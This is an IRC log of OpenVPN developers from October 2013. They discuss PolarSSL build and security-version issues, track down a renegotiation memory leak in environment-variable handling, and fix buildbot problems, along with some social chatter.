(ie: &c->c2.buf) 17:22 <@pekster> The only time that's ever relevant is as the packet is being packaged up to be sent to a client, thus it only needs to be called from that one function 17:23 < ludde> i don't get it. 17:23 <@pekster> You don't get the idea of passing a pointer to the context structure that holds the packet contents in a buffer? 17:24 <@pekster> "struct context *c" is passed to encrypt_sign() -- that in turn contains the packet received from the tun device that contains the header used to (possibly) associate it to a connected client 17:25 < ludde> Once encrypt_sign is called, and it does if (c->c2.comp_context) (*c->c2.comp_context->alg.com...) 17:25 < ludde> how does it know at this point if the client the packet is for has requested compression or not? 17:28 < ludde> pekster: do you understand my question 17:28 <@pekster> By that poing the context already associates the packet to the client; the link_socket_get_outgoing_addr() just gets the "real world" address of the client 17:29 < ludde> where is the code that associates the incoming packet from the tun device with a client, then? 17:29 < ludde> i mean 17:29 < ludde> where is the code that associates the context with a client (after it reads the incoming packet from the tun device), then? 17:32 < ludde> i think i found it, it seems to be in multi_process_incoming_tun (struct multi_context *m, const unsigned int mpp_flags) 18:13 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 248 seconds] 19:54 -!- raidz is now known as raidz_away --- Day changed Tue Oct 22 2013 01:14 -!- mattock_afk is now known as mattock 02:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:07 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:14 <@pekster> Anyone played with polarssl >=1.3.0? I get a build failure in openvpn due to no symbol in libpolarssl.so for deflate when polarssl was built with optional glib support. Could be distro weirdness, but the emake for polarssl seems pretty simple actually 03:15 <@pekster> The linker check fails, though I can manually make the conftest.c (from autoconf) pass if I add in "-lz" as a linker call, but this is clearly a hack 03:46 <@cron2> I think this is something the polarssl build needs to get right "if you need extra libraries, tell the .la file so" 03:49 <@cron2> pekster: if I could distract you a bit - could you test-build with d12fk's windows utf8 tap name patch, and give that a test & ACK? This week I have "some" time, so I could integrate stuff that's ACKed 04:09 < syzzer> pekster: no, not yet. Is on my list of stuff I would like to do 'soon' though... 05:34 <@cron2> uh 05:35 <@cron2> just as you speak, I see a PolarSSL security advisory telling me to go to 1.3.0 - are these relevant for OpenVPN? One talks about a RSA issue, the other about TLS 1.1 05:40 < syzzer> yes, OpenVPN with pre-1.2.9 is vulnerable. Upgrading to 1.2.10 (as 1.2.9 contains a memory leak) should be straight-forward though 05:40 <@cron2> should we have a "minimum version required" check in configure, then? 05:41 < syzzer> but once again tls-auth offers some protection 05:41 <@cron2> well, wrong question. 05:41 <@cron2> should we bump up the existing minimum check? 05:42 <@cron2> and try to mention the PolarSSL CVEs in the release notes, and such, to avoid another "OpenVPN insecure! upgrade!" panic 05:43 < syzzer> yes, that makes sense. 05:44 -!- mattock is now known as mattock_afk 05:44 < syzzer> There is no openvpn-with-polarssl binary release, right? So no version bump is immediately required. 05:45 < syzzer> uhm, version bump -> openvpn release 05:49 <@cron2> correct, at least nothing official from our side (and as far as I know, no vendor is shipping openvpn-with-polarssl binaries) 05:50 <@cron2> I hope to have a 2.3.3 out "some day in the not-so-far future" and it would be good to have that check then 05:52 < syzzer> yup, I'll send a patch to the ml 05:53 <@cron2> thanks 06:03 <@cron2> mmmh, running valgrind on openvpn is scary... 06:03 <@cron2> ==12473== More than 1000 different errors detected. I'm not reporting any more. 06:03 <@cron2> ==12473== Final error counts will be inaccurate. Go fix your program! 06:11 <@plaisthos> that sounds really serious 06:11 <@cron2> nah 06:11 <@cron2> it's coming out of openssl, and most likely that is just weird code that valgrind cannot parse 06:12 <@plaisthos> oh :/ 06:12 <@cron2> ==1055== Use of uninitialised value of size 8 06:12 <@cron2> ==1055== at 0x59A6B0B: bn_mul4x_mont_gather5 (in /usr/lib64/libcrypto.so.1.0.0) 06:12 <@plaisthos> does it look better with polar? 06:12 * cron2 needs to turn that error off... I want to see mem leaks 06:15 <@cron2> --undef-value-errors=no 06:17 <@plaisthos> I can also run openvpn later through apple xcode mem leak inspector 06:17 <@plaisthos> Always wanted to try if that thing is good or not 06:18 <@cron2> this might be a good excercise :-) - so far, valgrind is not directly telling me something, but I have the suspicion that it's not "just renegotiation" but "renegotiation with some options" 06:19 <@cron2> told it to renegotiate every 120 seconds or every 30 packets, which should trigger reneg-induced mem leaks just fine 06:20 <@cron2> ok, firing up a second client... 06:30 <@cron2> mmmh 06:30 <@cron2> ok, the memory usage for the valgrind process is indeed growing... 06:31 <@cron2> ... every time a renegotiation takes place... 06:33 <@cron2> by some 500 bytes for 2 connected clients 06:33 <@cron2> if I disconnect the clients, memory jumps *up* 06:34 <@cron2> now where does that go... 06:34 <@cron2> ==1953== HEAP SUMMARY: 06:34 <@cron2> ==1953== in use at exit: 2,560 bytes in 52 blocks 06:34 <@cron2> ==1953== total heap usage: 52,139 allocs, 52,087 frees, 15,723,723 bytes allocated 06:35 <@cron2> the 52 blocks up there are "always there", those do not change with renegs - the total heap usage does, but valgrind claims it all got freed again 06:41 <@plaisthos> cron2: valgrind *may* be misleading 06:41 <@plaisthos> for all that matter the leaks could gc_malloc in the context structure 06:41 <@plaisthos> that are never freed 06:41 <@plaisthos> and are only freed when the context is disbanded 06:42 <@plaisthos> iirc there is not even a free for our gc 06:42 <@plaisthos> (for individual allocations) 06:57 <@cron2> those *should* be part of the "reachable blocks" list, and this one is not growing (still reachable: 2,560 bytes in 52 blocks) 07:01 <@cron2> interesting enough, these 52 all seem to be stuff related to SSL initialization (... -> CRYPTO_malloc() in libcrypto.so) 07:02 <@cron2> but as said, it's alwas 2560 bytes, no matter how long I let this run or how many renegotiations I trigger 07:02 <@plaisthos> cron2: We could be collecting these "leaks" in one of our gc structs 07:02 <@plaisthos> each time a client connect we pute more allocs in the gc struct 07:02 <@cron2> oh 07:03 <@cron2> and when I quit openvpn, it will nicely gc_free() that structure, so we can't see it in valgrind 07:03 <@cron2> dang 07:03 <@plaisthos> yeah 07:03 <@plaisthos> another point against custom garbage collection :/ 07:04 <@cron2> hrm, need more time to think about that (aka "instrument gc_malloc, print out some sort of identifier + current size, watch log file grow") 07:10 <@plaisthos> should be /fairly/ easy 07:10 <@plaisthos> the really long living are only the most central structs 07:11 <@plaisthos> all gc_malloc there that are called for a reconnect are basically a leak 07:12 <@plaisthos> or even easier 07:13 <@plaisthos> on every time we do gc_malloc count the number of allocation in the current gc 07:13 <@plaisthos> if it hits a certain limit, let see 200, we print a warning alogn with the stack strace or similar 07:13 <@plaisthos> there is glibc'ism for printing stack which should suffice in this case 07:14 <@cron2> I still wonder why it's not happening in 2.1, but in 2.2 - the polar stuff didn't go into 2.2, so the SSL code should be only lightly touched 07:14 <@cron2> plaisthos: abort() :-) 07:15 <@cron2> (run it twice, see which is the highest number spat out, and then just add abort() there, or put a gdb breakpoint in there) 07:15 <@cron2> ah 07:15 <@cron2> your idea is nice, of course, as it could be kept in the code forever, to warn us of this in the future 07:16 <@cron2> I won't be able to do more about this today (customers...) but I'll be sitting on a train for too many hours tomorrow... prime laptop... :-) 07:18 <@plaisthos> cron2: I just saw that the debug versions of malloc get __FILE__ and __LINE__ as argument 07:18 <@plaisthos> no need for backtrace() 07:51 <@cron2> syzzer: thanks. Will integrate $soonish 08:31 -!- mattock_afk is now known as mattock 10:35 <@pekster> Ugh, snappy defaulting to on is annoying when openvpn-build bombs out on that :( 10:41 -!- raidz_away is now known as raidz 10:56 <@mattock> pekster: yep 10:58 <@pekster> mattock: Saw your post on the ML too; I'll dig up whatever branch I stashed my depcache v2 stuff at some point (I forgot how frustrating it is to watch openssl build only to fail on dumb stuff like this) 10:58 <@mattock> ok, great! 10:59 <@mattock> I rarely use the openvpn-build/generic directly, so having build-complete work with depcache would be great 10:59 <@pekster> The issue is that depcache only works for generic/build, not the build-complete that cycles through 32/64 bit builds; saving the depcache does 32, over-writes it with 64-bit bin tarballs, then extract tries to use the 64 bit tarball on 32-bit :\ 11:22 * ecrist begrudgingly installs CentOS on a box at work 13:43 <@pekster> ./build-complete --use-depcache 176.82s user 144.80s system 118% cpu 4:31.52 total 14:08 <@mattock> ecrist: but centos ~ rhel = enterprise-grade 14:08 <@mattock> or industrial strength 14:08 <@mattock> maybe even carrier grade 14:19 -!- mattock is now known as mattock_afk 14:20 <@cron2> plaisthos: one thing new in 2.2 came to my mind: eurephia. One of the changes it brings is "exporting of certificate data as environment variables" - and if *that* uses the GC in the central loop, it *could* explain "what is new in 2.2 that caused this?" 14:20 <@cron2> but then, I'm just trying to shift the work to dazo :) 14:21 <@pekster> Thanks to d12fk's patch, we can now do this: http://pekster.sdf.org/misc/ovpn-music-interface.png 14:21 <@pekster> Just in case you wanted it ;) 14:37 <@cron2> pekster: oh, nice. Yeah, I want there to be music in my tubes! 14:40 -!- mattock_afk is now known as mattock 14:42 <@plaisthos> :) 14:42 <@plaisthos> cron2: maybe 14:42 <@plaisthos> cron2: I would just implement the if list_count > 100: printf("LEAKING!") :) 14:42 <@plaisthos> requires no thinking ;) 14:45 <@cron2> plaisthos: yeah, this smells like a good plan for finding the culprit, and for actually having permanently in the code (#ifdef DEBUG) to avoid future issues of that sort. OTOH, I'm still curious :-) (but that is likely going to show me) 14:57 <@plaisthos> I started my openvpn development around 2.3alpha 14:57 <@plaisthos> so everything before that is kind of hazy 14:58 <@cron2> I'm of old age, so everything that happened before lunch is hazy :-) (but that might be related to "slighly sick child not sleeping very much tonight") 15:23 -!- mattock is now known as mattock_afk 15:47 * cron2 never bothered to really read the gc_ functions before, but given how simplistic they are ("just allocate memory and put it on linked list so gc_free() can clean it up") I can see what happens. Just not "where" yet, but adding the counter to gc_arena is quite straightforward 15:49 <@pekster> Does each client context get its own gc_arena? If so, spewing "problem!" errors might be false-negatitives if one has more than 100 (or w/e the cap is) clients connected 15:50 <@cron2> even then it's not a false - if a single gc_arena receives one allocation per client, it means "it will never be cleaned up" (as you can't remove one entry from a gc_arena when a client disconnects) 15:51 <@pekster> Right, I meant 100 separate gc_arena structs created, one for each client 15:52 <@pekster> Or is the linked-list thing a part of the internals to each gc_arena? It's been a bit since I've really dug into that part of the code 15:52 <@cron2> yeah, those would only see "one allocation per rekey" (under the current assumption), so for my tests, I'll have the trigger at "5" or so :) 15:53 <@cron2> and then see what shows up in the logs when rekey is done 15:53 <@cron2> right now I found that plaisthos' observation about __FILE__ and __LINE__ is not true, unfortunately, as this depends on DMALLOC, and *that* depends on "linking with dmalloc" (which might be useful, but not needed here) 16:12 <@cron2> mmmh 17:07 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn-devel 17:23 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Quit: Leaving] 19:09 <@ecrist> raidz!!!!!!!!!! (in the tune of KAHHHHHHHHHHHHHHHHHNNN!!!!!) 19:14 <@raidz> suup 19:15 <@raidz> ecrist: 19:15 <@ecrist> I'm ready to cut the forums over. 19:15 <@ecrist> not tonight, but I need DNS cut over at some point so we can test 19:15 <@raidz> oh yeah? 19:15 <@ecrist> we need to synchronize things 19:15 <@ecrist> maybe this time tomorrow? 19:15 * ecrist wayyyyyy too deep into a bottle of cap'n to cut anything over 19:15 <@raidz> any chance of a bit earlier? if not I can make this work :-) 19:16 <@raidz> hahaha 19:16 <@ecrist> yeah, probably 19:16 <@ecrist> I have to pick the kid up by 2 hours ago tomorrow 19:16 <@ecrist> so, sometime after that 19:17 <@raidz> aight cool, I will be around 19:17 <@ecrist> it's 19:17 here now 19:17 <@raidz> yeah you are two hours ahead of us 19:17 <@ecrist> ok. there WILL be hiccups, I'm sure, but I think everything is done except a DB sync and filesystem sync 19:17 <@raidz> ok cool, what about ipv6? 19:18 <@raidz> is that something we need/want/will have enabled? 19:18 <@ecrist> AFAIK, that's done 19:18 <@ecrist> there's an HE tunnel in place 19:18 <@raidz> ok cool 19:18 <@ecrist> I think mattock took care of it 19:18 <@raidz> greatso A and AAAA record change 19:18 <@ecrist> yeah 19:18 <@ecrist> like I said, it'll be bumpy 19:18 <@ecrist> but, people can have their money back and all that 19:19 <@raidz> hahaha 19:19 <@raidz> meh, nature of the beast 19:19 <@raidz> can 19:19 <@pekster> Looks like they've already got low TTLs too 19:19 <@raidz> 't 19:19 <@raidz> plan for EVERYTHING 19:19 <@ecrist> ++ 19:19 <@ecrist> pm? 19:20 <@pekster> play for everything, prepare for _anything_ ;) 19:20 <@pekster> plan* 20:14 -!- raidz is now known as raidz_away --- Day changed Wed Oct 23 2013 01:40 -!- mattock_afk is now known as mattock 03:05 <@cron2> plaisthos: can you put the "floating TLS" patch to your patch page in the wiki? 03:05 <@cron2> (if not yet done) 03:05 <@cron2> I'd really love to hear from James what he thinks about that one 03:54 <@plaisthos> cron2: it is already on the patches pages 03:55 <@plaisthos> Altough I usually don't update the page for v2, v3 version of the patch 03:55 <@plaisthos> I think the patch is a good idea 03:56 <@plaisthos> If the patch is commited I think I will post a follow that send a IV_SERVER_FLOAT or something similar to the client 03:58 <@plaisthos> so the client can detect if it should do a "normal" reconnect or can just float 04:22 <@cron2> ok... calling msg() from within gc_malloc_debug() is not a very good idea 04:22 <@cron2> recursive calling gc_malloc_debug() and msg() until the stack overflows and *bonk* 04:24 <@plaisthos> gc_malloc_from_msg_do_not_recursive :D 04:24 * cron2 fprintf(stderr)'s for now 04:24 <@plaisthos> yeah should suffice for bug hunting 04:27 -!- novaflash is now known as novaflash_away 04:29 -!- novaflash_away is now known as novaflash 05:02 <@vpnHelper> RSS Update - tickets: #341: TAP-Windows installation failed, probably because of not trusted root certificate <https://community.openvpn.net/openvpn/ticket/341> 05:10 <@cron2> so... what is that what we have here... 05:10 <@cron2> gc_malloc: arena=0x812daac, use=159, age=122s, caller=../../../openvpn-testing/src/openvpn/misc.c:549 05:10 <@cron2> I save the time() of creation, and all that has "less than a few seconds" is uninteresting anyway 05:11 <@cron2> oh yeah 05:11 <@cron2> add_env_item() 05:16 <@cron2> it re-adds the whole environment on tls renegotiation 05:17 <@cron2> add_env_item: string=tls_digest_0=64:bb:24:91:02:31:ac:e4:42:80:12:d5:eb:60:7b:37:4f:4d:87:74 05:17 <@cron2> add_env_item: string=untrusted_ip6=::ffff:127.0.0.1 05:17 <@cron2> yadda yadda 05:21 <@d12fk> cron2: will there be a weisswurschtfrühstück? 05:21 <@d12fk> question is actually if i should book with bfast 05:21 <@cron2> d12fk: I think that can be arranged :-) - I'm not sure how much work we'll get done that day, but it sounds like a nice idea 05:21 <@d12fk> afaik weisswurst has to be eaten before noon 05:21 * cron2 is not going to arrange *two* weisswurstfrühstücks ) 05:21 <@d12fk> so it could be lunch 05:22 <@cron2> brunch, whatever 05:22 <@d12fk> oh you mean the beer will mess us up 05:22 * plaisthos has no idea about customs of that foreign country ... :) 05:22 <@cron2> beer, full belly, no blood left for coding 05:22 <@d12fk> maybe that part can be skipped until night 05:22 <@d12fk> i have a budget to feed you again 05:23 <@cron2> \o/ 05:23 * cron2 will arrange alcohol-free beer 05:23 <@d12fk> sound cool 05:23 <@d12fk> can you book a nixe place for dinner cron2 05:24 <@d12fk> andj: mentioned they have a budget for fodd as well is that info still accurate 05:24 * cron2 has no real ideas ("I have family, I have to eat at home"), but I'll look around and see if I can find recommendations 05:24 <@d12fk> as always not too fance but cosy =) 05:25 <@d12fk> and maybe no mussles this time... =) 05:25 <@cron2> munich is not really fancy on mussles (or seafood in general) 05:25 <@cron2> mmmh 05:25 <@cron2> potato house comes to mind... 05:26 <@d12fk> i'll do a little research myself 05:26 <@cron2> I'll go and research :-) and propose, but right now, I'm sooo close to finding the memleak (and my internet is not good, sitting in train) 05:28 <@cron2> meh 05:28 <@cron2> I seem to remember we changed some of the buffer allocation "magic stuff" in 2.2, and *that* seems to be fallout now 05:30 <@cron2> add_env_item ((char *)str, true, &es->list, es->gc); 05:30 <@cron2> that is my problm 05:31 <@cron2> es has it's own GC, and *that* is about the only one that is "global" 05:31 <@cron2> misc.c, env_set_add_nolock() 05:47 <@d12fk> how about a wirtshaus 05:47 <@d12fk> bergmannshod augustiner oder andechser 05:47 <@d12fk> hof 09:41 <@cron2> 2.1 might actually be mem-leaking as well, but "slower" (less stuff goes into the per-client es->gc) 10:06 -!- mattock is now known as mattock_afk 10:31 <@cron2> interesting 10:31 <@cron2> in 2.1, es->gc is NULL here 10:36 <@cron2> more interstig 10:36 <@cron2> misc.c has 10:37 <@cron2> do_inherit_env (struct context *c, const struct env_set *src) 10:37 <@cron2> { c->c2.es = env_set_create (&c->c2.gc); c->c2.es_owned = true; env_set_inherit (c->c2.es, src); 10:37 <@cron2> } 10:37 <@cron2> (urgh) 10:37 <@cron2> and that calls "env_set_create(NULL)" in 2.1 10:39 <@cron2> and same thing for the global env_set_create() in openvpn.c 10:39 <@cron2> now who changed that and why? 10:40 <@cron2> ho 10:41 <@cron2> kids dabbling in mature code... 10:41 <@cron2> commit dc7be6d078ba106f9b0de12f3e879c3561c3c537 10:41 <@cron2> Author: David Sommerseth <davids@redhat.com> 10:41 <@cron2> Date: Mon Feb 6 00:30:47 2012 +0100 10:41 <@cron2> Acked-by: Gert Doering <gert@greenie.muc.de> 10:41 <@cron2> (that was Fosdem... I blame the cold and the bad weathre) 10:42 <@d12fk> 00:30:47 <- blame intoxication 10:44 <@cron2> we did some quick "cleanup" there, remember? And that was the "fix crash bug fallout" patch... 10:45 <@d12fk> took a while for someone to notice 10:47 <@cron2> well, the crash was noted quickly, the mem leak is very subtle 10:48 <@cron2> ... and if I revert that patch, it assert()'s out at me in gc_malloc, hrmpf 10:49 -!- raidz_away is now known as raidz 10:50 <@cron2> *sigh* 10:50 <@cron2> that code is too brilliant for me 10:52 * cron2 is tempted to revert bee92b479414d12035b0422f81ac5fcfe14fa645 11:26 * cron2 sends patch to list :-) 11:32 <@d12fk> how's the memory freed then? 11:52 <+krzee> by smoking this joint! 11:52 * krzee scuttles away with his joint lit 11:55 < ngharo> haha 12:15 <@cron2> d12fk: well, with free() :-) - in misc.c, there are bits like "remove_env_item()" that can be told "free() whatever you remove, or just leave it alone", and that boolean is set to "es->gc == NULL"... 12:17 <@cron2> and there is env_set_destroy(), which will either walk the es->e->next list and free() each e->string and (e), or "do nothing" and leave it to the gc to cleanup 12:21 -!- mattock_afk is now known as mattock 12:33 <@cron2> d12fk: different tangent: the "&len" parameter to RegQueryValueExW() - is that in "bytes" or in "how many wide characters can it stuff in here"? 12:34 <@cron2> it's initialized to sizeof(name_len), which would be "in bytes", I just want to be sure that we're not overrunning anything because windows assumes "wide char" 12:34 <@cron2> won't matter for most tap device names, but someone might be inclined to create a device with a 257-byte name, just to see 12:35 <@cron2> ah, google is my friend :) 12:35 <@cron2> lpcbData [in, out, optional] 12:35 <@cron2> A pointer to a variable that specifies the size of the buffer pointed to by the lpData parameter, in bytes. When the function returns, this variable contains the size of the data copied to lpData. 12:37 -!- raidz is now known as raidz_away 12:38 -!- raidz_away is now known as raidz 12:42 <@vpnHelper> RSS Update - gitrepo: Support non-ASCII TAP adapter names on Windows <https://github.com/OpenVPN/openvpn/commit/f2e40082349098d3c22981bf1e6d305826f1173f> 12:49 <@cron2> mattock: how do you feel about upgrading your polar installations to 1.2.10? 12:50 <@pekster> If anyone gets a chance, I get a build failure with >=1.3.0 polarssl when built with zlib support; I'm still not completely convinced the distro didn't do something dumb with .so linking though 12:51 * cron2 points at syzzer "he's da crypto man" 12:51 <@pekster> This is the conftest.c that should compile, but I can't get it to go without adding "-lz" (due to libpolarssl.so trying to call deflate() ) http://pastebin.kde.org/pomncbu6x 12:52 <@pekster> I don't know if this is a polarssl, gentoo, or openvpn issue. My library understanding is a bit limited, but I was surprised when polarssl (non-static, fairly generic build AFAICT) didn't build with the .so linked (as shown with ldd) to libz :\ 12:54 <@cron2> cross-platform shared library building is always pains. libtool alleviates some of that, but replaces it with libtool pain... 12:54 <@cron2> in any case, either the .so should be linked with -lz, or there should be a .la that tells "you need -lz for that!" 12:55 <@pekster> Ah, okay. That gives me some more reading then (the .la stuff.) Then this is a polarssl or gentoo problem. openvpn can't possibly be expected to "know that polarssly was linked with libz, but not linked in the .so file, and add -lz to linker flags" 12:56 <@cron2> not really, no 12:57 <@cron2> I haven't *fully* understood all this, but ran into build problems on weird environments (AIX) a few times, and .la (which is a pure text file) is actually good reading :) 12:57 <@pekster> openssl links properly ;) 13:29 -!- Zapelius [~zapelius@a88-114-69-151.elisa-laajakaista.fi] has joined #openvpn-devel 13:53 < Zapelius> I have the OpenVPN client v.1.0.1 (b88) on iOS 7.0.2/iPad Mini 13:53 < Zapelius> ever since upgraded from iOS 6.1.3, I do have this very same issue: https://forums.openvpn.net/topic14055.html 13:53 <@vpnHelper> Title: OpenVPN Support Forum VPN connection gets paused : OpenVPN Connect (iOS) (at forums.openvpn.net) 13:54 < Zapelius> when I close the lid and wait a minute, the VPN gets paused and won't reconnect anymore 13:54 <@pekster> Zapelius: Several things wrong here. First, this channel is for development of openvpn, not support using openvpn. 2nd, you are using "OpenVPN Connect" which is not OpenVPN and uses a completely different codebase 13:55 <@pekster> Try #openvpn-as for "Access Server" or "Connect" product issues, or the other published support mechanisms 13:56 <@pekster> And yes, we know "OpenVPN Connect" not being "OpenVPN" is very confusing. I agree. 13:56 < Zapelius> mmh... I stand corrected. 13:58 <@pekster> That is the right spot in the forums to use though (apparently it's not monitored/maintained very well by the maintaining company though -- not a whole lot us GPL hackers can do about that) 14:06 < Zapelius> I see. Agree on confusing, especially when the support links to the same forum (different section thou). Sorry for my OT. :) 14:22 <+krzee> not your fault Zapelius 14:22 <+krzee> it happens more than you know ;] 15:50 -!- raidz is now known as raidz_away 15:51 -!- raidz_away is now known as raidz 15:52 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn-devel 15:55 < debbie10t> Hi - there is quite an interesting question on the forum that I thought you guys might like to have a look at - it seems someone has written a bridge driver for IP cameras that they would like to interact with a vpn style bridge 15:56 < debbie10t> This is the link 15:56 < debbie10t> https://forums.openvpn.net/topic14147.html 15:56 <@vpnHelper> Title: OpenVPN Support Forum Is OpenVPN right for this? : Server Administration (at forums.openvpn.net) 15:57 -!- mattock is now known as mattock_afk 16:02 <@ecrist> hrm 16:18 < debbie10t> hi ecrist 16:18 <@ecrist> hi debbie10t 16:18 < debbie10t> it was just a thought - if yr not interested no prob 16:19 <@ecrist> I already replied to the thread. 16:19 < debbie10t> ok .. thanks :) 16:19 < debbie10t> why the hrm ? 16:20 <@ecrist> your description here was not accurate to the thread, but I figured it out. 16:20 < debbie10t> ok .. sorry 16:21 <@ecrist> no worries 16:31 < debbie10t> ok .. thanks for your help - i will try to be a little more accurate if there is ever a next time .. and do a better job of working it out for my self :) 16:31 <@ecrist> not a big deal, really 16:31 <@ecrist> don't burn yourself out 16:31 <@ecrist> ;) 16:32 < debbie10t> cheers :) .. I am relaxing about it now .. 16:32 < debbie10t> hope you are well 16:38 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn-devel [] 17:15 <@pekster> Stupid mail client evidently added a ">" char to the start of that depcache v2 patch. Security-minded folks can scrape that off to get the .sig to verify (patch/git won't care) 20:06 -!- raidz is now known as raidz_away --- Day changed Thu Oct 24 2013 01:53 -!- mattock_afk is now known as mattock 02:50 -!- mattock is now known as mattock_afk 03:05 -!- mattock_afk is now known as mattock 03:23 <@cron2> mattock: there you are :-) - did you see my question from yesterday about polar 1.2.10? 03:23 <@mattock> no 03:24 <@mattock> now I did :) 03:24 <@mattock> I feel fine 03:24 <@mattock> -> TODO 03:24 <@cron2> mattock: ok, again :-) - so how do you feel about upgrading all your buildslaves to 1.2.10? because if I commit syzzer's patch, it will all explode... 03:24 <@cron2> ah 03:24 <@cron2> too slow 03:25 <@cron2> let me know when you're done :) 03:25 <@mattock> I think I can manage today 03:26 <@cron2> cool 03:43 -!- mattock is now known as mattock_afk 05:04 -!- mattock_afk is now known as mattock 05:35 <@mattock> cron2: there's polarssl 1.2.10 on the buildslaves now 05:35 <@mattock> haven't done any testing yet, but it built and installed fine 05:36 <@mattock> it = polarssl 05:37 <@cron2> whoa, that was fast... so now I have to go and upgrade all of mine... :-o 05:38 <@mattock> :) 05:38 <@mattock> I'm also setting up sbuild (debian) and mock (fedora/redhat) to more easily build the openvpn packages 05:39 <@mattock> the sbuild setup is more or less complete 05:39 <@mattock> both essentially create chroots for building the packages 05:39 <@mattock> so it's much more lightweight than dedicated VMs 05:39 <@mattock> and less maintenance 05:54 -!- mattock is now known as mattock_afk 06:00 <@cron2> compiling polar 1.2.10 really hurts my VMs... (the test suites need enormous amounts of RAM, and the VMs are limited to something like 512Mb or 768Mb, as RAM is expensive on VM clusters, and the normal build stuff doesn't need much) 06:19 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 06:19 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 06:20 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:20 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 06:22 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:35 < syzzer> cron2: you can make the build skip the tests if you want to 06:35 < syzzer> I believe it's something like "make polarssl" 06:37 <@cron2_> actually I do like running them, as I've seen strange failures on some of the *BSDs before 06:44 <@cron2_> mattock: uh, it seems buildbot still is not picking up repo changes - I pushed a change yesterday, and it did not build since then 06:45 <@vpnHelper> RSS Update - gitrepo: Require polarssl >= 1.2.10 for polarssl-builds, which fixes CVE-2013-5915. <https://github.com/OpenVPN/openvpn/commit/92d21e3fed33aad966b7b0ca6568e0cda8c7a8b5> 07:03 -!- mattock_afk is now known as mattock 07:07 <@cron2_> mattock: *poke* 07:07 <@mattock> hi 07:08 <@cron2_> mattock: see 3 lines up :-) 07:09 <@mattock> yeah, and buildbot is somehow f*ed up 07:09 <@mattock> the master 07:09 <@mattock> I'll restart it 07:12 <@mattock> looking better, let's see if the slaves connect 07:15 <@mattock> yep 07:15 <@mattock> and the Git repo looks ok 07:15 <@mattock> the buildmaster was in some sort of limbo, not sure what caused it 07:15 <@mattock> that's probably why it didn't do anything 07:16 <@mattock> I can force a full rebuild when/if all slaves have polarssl 1.2.10 07:18 <@cron2_> my slaves are ready, but I'd actually prefer to have buildmaster notice the change itself, without having to force the rebuild manually every time 07:18 <@cron2_> or will it not pick up the latest change due to being restarted? 07:18 <@mattock> yes, I'd prefer that too, but buildmaster was broken, so it didn't catch the changes 07:18 <@mattock> after a restart it seems to be fine again 07:19 <@mattock> it is tracking the correct git repo and in normal circumstances automatic detection of changes should just work 07:19 <@mattock> do you have anything you could merge, btw? 07:19 <@mattock> to test if the buildmaster notices the change and triggers a rebuild 07:20 <@ecrist> so we didn't install centos, but did install debian 07:20 * ecrist feels dirty 07:20 <@cron2_> nothing that has been ACKed, so I'd need to review something first :) 07:22 <@mattock> ecrist: debian is good 07:22 <@mattock> even if it's not freebsd :) 07:22 <@mattock> you can purify yourself by installing OpenBSD and using the classic vi for a while 07:23 <@ecrist> we've been fighting for four years go keep our phone system freebsd. the phone software devs aren't interested in patching it to make it work, despite us doing most of the work. 07:23 <@ecrist> we've thrown in the towel. 07:23 <@ecrist> lol 07:23 <@cron2_> mattock: "good" as in "some bits are as ancient as in OpenBSD"? 07:23 <@cron2_> just read that debian is still shipping openvpn 2.2.1 07:24 <@mattock> yep, hence I'm working hard to provide more up-to-date packages in our repos :) 07:24 <@mattock> I don't think anything has bits as ancient as OpenBSD, except perhaps Windows 07:26 <@ecrist> FreeBSD is based on the original AT&T. 07:27 <@ecrist> iX Systems actually has control of the copyrights on the old stuff 07:27 <@ecrist> the guy who owns iX has a bit of a BSD "shrine" in their office 07:27 <@ecrist> as far as I know, openbsd is based off the first round of freebsd 07:28 <@ecrist> they've just never ever modernized anything 07:28 <@d12fk> PAM is the devil, you know 07:28 <@ecrist> on an unrelated note, if any of you have Macs, the upgrade to 10.9 is worth it. my mid-2010 MBP is WAY snappier 07:28 <@cron2_> that came from Solaris, so not surprising 07:29 * ecrist <3 PAM 07:29 <@cron2_> no 10.9 for my PowerBook 07:29 <@ecrist> kerberos is the devil 07:29 <@ecrist> 10.9 will do memory compression before trying to use swap. 07:29 <@d12fk> kerberos is the devils hound 07:29 <@ecrist> it's kinda neat 07:29 <@ecrist> no, that's Cerberus 07:30 <@d12fk> cerberus is roman for kerberos 07:30 <@ecrist> we have a german shepherd/doberman mix named Cerberus 07:31 <@d12fk> hehe, that'll keep ppl away from the yard 07:31 <@ecrist> I wanted to name him Kerberos, but the wife thought that was too geeky, and we settled on Cerberus 07:31 <@d12fk> you call him cerby at all 07:31 <@ecrist> cerbs 07:31 <@ecrist> is his nickname 07:31 <@d12fk> lol 07:31 <@d12fk> ours nickname is hundbert 07:32 <@ecrist> he's one of those quiet dogs. he sits in the corner and stares at you, uncomfortably, like he's plotting something. 07:32 <@d12fk> creepy german 07:32 <@ecrist> makes people who don't know him feel nervous 07:32 <@ecrist> we have a pure-bred german shepherd, too, all white. 07:32 <@ecrist> huge dog 07:33 <@ecrist> biggest friggen baby I've ever known, at least with me 07:33 <@ecrist> if he even *thinks* i'm mad at him, he goes and hides under the kitchen table 07:33 <@ecrist> he's not so baby with strangers, though, which is good 07:34 <@ecrist> if I yell at him, he yelps and hollars like he's being beat 07:34 <@ecrist> most pathetic thing ever 07:35 <@d12fk> maybe you shond that bad =) 07:36 <@d12fk> sound 07:41 <@mattock> cron2: shall "force all builds" on buildmaster? 07:41 <@cron2_> mattock: yes, please, let's see what is broken today 07:41 <@mattock> ok 07:47 <@mattock> buildmaster is still broken, I can't force any builds 07:47 <@mattock> I'll debug this 07:49 * cron2_ gives mattock a sharp&pointy thing to motivate 